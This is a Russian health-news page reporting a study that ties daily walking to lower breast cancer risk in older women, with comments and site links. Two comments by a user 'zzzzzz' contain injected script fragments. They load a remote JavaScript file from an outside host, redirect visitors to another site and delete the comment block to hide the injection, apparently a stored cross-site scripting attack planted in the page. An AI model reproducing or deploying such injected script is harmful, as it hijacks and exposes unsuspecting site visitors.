Здоровье ИНФО
Присоединяйтесь к нам:
Главная страница  >>  Наша кожа  >>  Прыщи  >>  Статьи  >>  Простые ежедневные прогул...  >>  Простые ежедневные прогулки уменьшают риск рака груди
 
Обратная связь
 

Простые ежедневные прогулки уменьшают риск рака груди

Размер шрифта
29 ноября 2013 00:00
Юрий Малышев
Здоровье инфо
Екатерина Иванникова
Здоровье инфо
  • google_analytics: false
  • Нравится

Пожилые женщины, которые ежедневно совершают прогулки, могут снизить риск развития рака молочных желез. А согласно данным последних исследований, те, кто ведут энергичный образ жизни, получают дополнительный уровень защиты. 

Простые ежедневные прогулки уменьшают риск рака груди

В исследование было включено более 73 000 женщин, находящихся в постменопаузальном периоде. Было выявлено, что ежедневная ходьба в умеренном темпе в течение часа была связано с 14% снижения случаев развития рака. Ежедневные физические упражнения в течение часа были связаны с 25% снижения риска развития опухоли. Это приятный стимул для неспортивных женщин.

Старший эпидемиолог Американского общества рака, главный исследователь Альпа Патель говорит: «Необязательно каждый день совершать марафоны, достаточно часа неторопливой прогулки». Рак молочной железы занимает первое место по распространенности, то есть одна из восьми женщин заболевает раком молочной железы. По результатам исследования, опубликованным 4 октября, Патель и ее команда сообщают, что наблюдали женщин (средний возраст 63 года) с 1992 года. Женщины заполняли анкеты о всех медицинских событиях их жизни, также отмечали экологические и демографические особенности в период между 1997 и 2009 годами. Также участники исследования сообщали о своей физической активности и количестве времени в положении сидя. За 14 лет наблюдения у 4 760 женщин был выявлен рак молочной железы. Исследователи сравнили привычки заболевших женщин и здоровых добровольцев. Около 9% никогда не занимались спортом и вели малоподвижный образ жизни. Те, кто ходил в течение хотя бы 7-8 часов в неделю и делали зарядку, реже заболевали раком. В данном исследовании была выявлена связь между умеренными физическими нагрузками и снижением риска рака молочной железы. Точных подтверждений или объяснения причинно-следственной связи ученые пока дать не могут. В других исследованиях были получены похожие данные, но касались они только женщин с нормальным индексом массы тела – соотношения веса к росту. В данном же исследовании впервые были получены данные относительно всех весовых категорий. «Полученные данные позволяют расширить наши знания и разработать новые методы онкопрофилактики», – говорит глава онкологического центра в Дуарте, штат Калифорния, Лора Крупер. «Каждая женщина способна выполнять элементарные физические упражнения и прогуливаться в течение часа каждый день, никаких дополнительных затрат не требуется. Встаньте с дивана и прогуляйтесь», – говорит доктор.

Почему же такие простые упражнения снижают риск развития рака молочной железы? Патель говорит, что все дело в гормональном балансе. При низкой активности снижается уровень женских половых гормонов, что является одной из причин роста опухолевых клеток. Кроме того, выполнение упражнений позволяет женщине поддерживать вес в пределах нормы или, хотя бы, не поправляться, что также положительным образом скажется на их здоровье.

Все о женском здоровье в нашем специальном проекте!

  • google_analytics: false
  • Нравится
Послать другу Послать другу Распечатать Распечатать Обсудить на форуме Обсудить на форуме
Комментарии

1 - Гость

05 марта 2015 в 21:27

Цитировать   |   Пожаловаться


2 - zzzzzz

30 июня 2015 в 18:51

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js">

3 - zzzzzz

30 июня 2015 в 22:51

Цитировать   |   Пожаловаться

--> src="http://1212123.esy.es/q.js"> > window.location.href="http://a25832-hostde3.fornex.org/"; $("form.noprint, #CommentsBlock").remove();

Статьи

       
Как Анджелина Джоли изменила наш мир?   Может ли морковка в день избавить вас от рака груди?   Как самой обследовать грудь   Что нужно женщинам?! Начинается на букву Д!  
23 июля 2013Из лысых крыс сделают лекарство от рака 26 июня 2013Что пить, чтобы не было рака груди?
 
18 октября 2012Новый тест скажет, будет у вас рак или нет 09 августа 2012Раковые клетки теперь не смогут скрыться!
 

Слайдшоу

1
Цвета против рака
Признаки рака, которые игнорируют женщины
Ответы на все вопросы о раке груди

Тесты

1
Что вы знаете о раке груди?
Будет ли у вас инфаркт?
Кофеин вызывает зависимость?
Вопросы и ответы
Яна Александровна Юцковская
Яна Александровна Юцковская Задать вопрос
Посмотреть информацию о враче

Юцковская Яна Александровна, д.м.н., профессор, зав. кафедрой дерматовенерологии и косметологии ГБОУ ВПО «ТГМУ Минздрава России», врач высшей категории, директор ООО «Профессорская клиника Юцковских», Владивосток, директор ООО «Клиника профессора  Юцковской», Москва, президент НП «ДВАЭМ», председатель Дальневосточного отделения МООСБТ.

Елена Николаевна Волкова
Елена Николаевна Волкова Прочитать ответы
Посмотреть информацию о враче

Доктор медицинских наук, профессор кафедры дерматовенерологии Московского факультета ГОУ ВПО «РГМУ им. Н.И. Пирогова Минздравсоцразвития России». Этот консультант отвечал на вопросы пользователей с 03 ноября 2011 г. по 15 февраля 2012 г.